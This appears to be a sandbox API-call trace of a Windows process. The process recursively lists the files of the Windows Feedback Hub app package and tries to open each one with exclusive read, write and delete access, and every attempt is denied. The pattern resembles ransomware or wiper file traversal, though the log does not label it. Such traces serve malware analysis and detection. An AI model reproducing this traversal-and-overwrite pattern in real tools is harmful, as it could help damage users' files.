	[0082.687] FindNextFileW (in: hFindFile=0x46a7b18, lpFindFileData=0x502bd40 | out: lpFindFileData=0x502bd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5013b788, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5013b788, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5013b788, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8b41, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.687] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.687] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.687] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4722fd0
	[0082.687] wcscpy (in: _Dest=0x4722fd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe"
	[0082.687] wcscat (in: _Dest=0x4722fd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\"
	[0082.687] wcscat (in: _Dest=0x4722fd0, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0090.107] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0090.111] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.111] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.111] GetLastError () returned 0x5
	[0090.111] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0090.111] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4722fd0) returned 1
	[0090.111] FindNextFileW (in: hFindFile=0x46a7b18, lpFindFileData=0x502bd40 | out: lpFindFileData=0x502bd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5011552a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5013b788, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5013b788, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2007, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0090.111] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0090.111] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0090.111] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xda) returned 0x4fcd100
	[0090.111] wcscpy (in: _Dest=0x4fcd100, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe"
	[0090.111] wcscat (in: _Dest=0x4fcd100, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\"
	[0090.111] wcscat (in: _Dest=0x4fcd100, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0090.111] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0090.111] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.112] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.112] GetLastError () returned 0x5
	[0090.112] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.112] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4fcd100) returned 1
	[0090.112] FindNextFileW (in: hFindFile=0x46a7b18, lpFindFileData=0x502bd40 | out: lpFindFileData=0x502bd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5013b788, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb23d8b82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x501619e2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0090.112] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0090.112] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0090.112] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477eb90
	[0090.112] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe"
	[0090.112] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\"
	[0090.112] wcscat (in: _Dest=0x477eb90, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477f530
	[0090.114] wcscpy (in: _Dest=0x477f530, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.114] wcscat (in: _Dest=0x477f530, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.114] wcscat (in: _Dest=0x477f530, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*"
	[0090.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502d2e8
	[0090.114] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5013b788, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb23d8b82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x501619e2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0090.114] wcscmp (_String1=".", _String2=".") returned 0
	[0090.114] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5013b788, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb23d8b82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x501619e2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.114] wcscmp (_String1="..", _String2=".") returned 1
	[0090.114] wcscmp (_String1="..", _String2="..") returned 0
	[0090.114] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501619e2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501619e2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501619e2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 1
	[0090.114] wcscmp (_String1="CodeIntegrity.cat", _String2=".") returned 1
	[0090.114] wcscmp (_String1="CodeIntegrity.cat", _String2="..") returned 1
	[0090.114] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf6) returned 0x4778060
	[0090.114] wcscpy (in: _Dest=0x4778060, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0090.114] wcscat (in: _Dest=0x4778060, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\"
	[0090.114] wcscat (in: _Dest=0x4778060, _Source="CodeIntegrity.cat" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat"
	[0090.114] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0090.135] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.135] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.135] GetLastError () returned 0x5
	[0090.135] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0090.136] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778060) returned 1
	[0090.136] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502d2e8 | out: lpFindFileData=0x502d2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x501619e2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x501619e2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x501619e2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2dcd, dwReserved0=0x0, dwReserved1=0x0, cFileName="CodeIntegrity.cat", cAlternateFileName="")) returned 0
	[0090.136] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0090.136] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502d2e8) returned 1
	[0090.136] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477f530) returned 1
	[0090.136] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.136] FindNextFileW (in: hFindFile=0x46a7b18, lpFindFileData=0x502bd40 | out: lpFindFileData=0x502bd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5013b788, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x5013b788, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x5013b788, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0090.138] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0090.138] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0090.138] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4722fd0
	[0090.138] wcscpy (in: _Dest=0x4722fd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe"
	[0090.138] wcscat (in: _Dest=0x4722fd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\"
	[0090.138] wcscat (in: _Dest=0x4722fd0, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0090.138] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0090.145] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.145] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.145] GetLastError () returned 0x5
	[0090.145] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0090.145] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4722fd0) returned 1
	[0090.145] FindNextFileW (in: hFindFile=0x46a7b18, lpFindFileData=0x502bd40 | out: lpFindFileData=0x502bd40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50187c3b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb24969c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50509bf1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0090.145] wcscmp (_String1="Assets", _String2=".") returned 1
	[0090.145] wcscmp (_String1="Assets", _String2="..") returned 1
	[0090.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718420
	[0090.146] wcscpy (in: _Dest=0x4718420, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe"
	[0090.146] wcscat (in: _Dest=0x4718420, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\"
	[0090.146] wcscat (in: _Dest=0x4718420, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e123f8
	[0090.146] wcscpy (in: _Dest=0x2e123f8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.146] wcscat (in: _Dest=0x2e123f8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.146] wcscat (in: _Dest=0x2e123f8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\*"
	[0090.146] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502bfa8
	[0090.146] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\*", lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50187c3b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb24969c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50509bf1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a8e8
	[0090.148] wcscmp (_String1=".", _String2=".") returned 0
	[0090.148] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50187c3b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xb24969c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x50509bf1, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.150] wcscmp (_String1="..", _String2=".") returned 1
	[0090.150] wcscmp (_String1="..", _String2="..") returned 0
	[0090.150] FindNextFileW (in: hFindFile=0x477a8e8, lpFindFileData=0x502bfa8 | out: lpFindFileData=0x502bfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50187c3b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x50187c3b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x50187c3b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x230, dwReserved0=0x0, dwReserved1=0x0, cFileName="DarkGray.png", cAlternateFileName="")) returned 1
	[0090.150] wcscmp (_String1="DarkGray.png", _String2=".") returned 1
	[0090.150] wcscmp (_String1="DarkGray.png", _String2="..") returned 1
	[0090.150] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4722fd0
	[0090.150] wcscpy (in: _Dest=0x4722fd0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.150] wcscat (in: _Dest=0x4722fd0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.150] wcscat (in: _Dest=0x4722fd0, _Source="DarkGray.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\DarkGray.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\DarkGray.png"
	[0090.150] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\DarkGray.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\darkgray.png")) returned 0x20
	[0090.151] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\DarkGray.png", dwFileAttributes=0x20) returned 0
	[0090.151] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\DarkGray.png" (normalized: "c:\\program files\\windowsapps\\microsoft.windowsfeedbackhub_1.1612.10312.0_x64__8wekyb3d8bbwe\\assets\\darkgray.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.151] GetLastError () returned 0x5
	[0090.151] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.WindowsFeedbackHub_1.1612.10312.0_x64__8wekyb3d8bbwe\\Assets\\DarkGray.png", dwFileAttributes=0x20) returned 0
	[0090.151] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4722fd0) returned 1
